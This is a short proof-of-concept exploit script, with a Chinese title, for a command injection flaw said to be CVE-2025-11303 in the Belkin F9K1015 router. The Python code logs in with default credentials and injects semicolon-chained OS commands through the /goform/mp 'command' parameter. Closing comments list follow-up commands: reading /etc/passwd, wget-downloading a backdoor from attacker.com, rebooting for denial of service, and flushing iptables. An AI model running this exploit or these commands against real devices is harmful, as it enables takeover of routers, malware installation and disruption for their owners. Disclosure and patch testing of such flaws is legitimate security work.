CVE-2025-11303：Belkin F9K1015路由器命令注入漏洞

# CVE-2025-11303 - Belkin F9K1015 Command Injection PoC # Vulnerability: Command Injection via /goform/mp endpoint # Affected: Belkin F9K1015 firmware version 1.00.10 # Author: Security Researcher import requests # Target router configuration TARGET_URL = "http://192.168.2.1" # Default Belkin F9K1015 router address ENDPOINT = "/goform/mp" # Authentication credentials (low privilege required) USERNAME = "admin" PASSWORD = "password" def exploit_command_injection(target_url, username, password, cmd): """ Exploit command injection in /goform/mp endpoint The 'command' parameter is vulnerable to OS command injection """ session = requests.Session() # Step 1: Authenticate to the router login_url = f"{target_url}/login.cgi" login_data = { "login": "true", "username": username, "password": password } session.post(login_url, data=login_data) # Step 2: Inject malicious command via 'command' parameter # Using semicolon (;) to chain commands payload = f"valid_command;{cmd}" exploit_url = f"{target_url}{ENDPOINT}" exploit_params = { "command": payload } response = session.get(exploit_url, params=exploit_params) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response: {response.text[:500]}") return response # Example usage: Execute arbitrary command on the router if __name__ == "__main__": # Command to execute on the compromised router malicious_command = "id" # Get current user info exploit_command_injection(TARGET_URL, USERNAME, PASSWORD, malicious_command) # Additional commands could include: # - "cat /etc/passwd" - Read password file # - "wget http://attacker.com/backdoor -O /tmp/bd" - Download malware # - "reboot" - Denial of service # - "iptables -F" - Flush firewall rules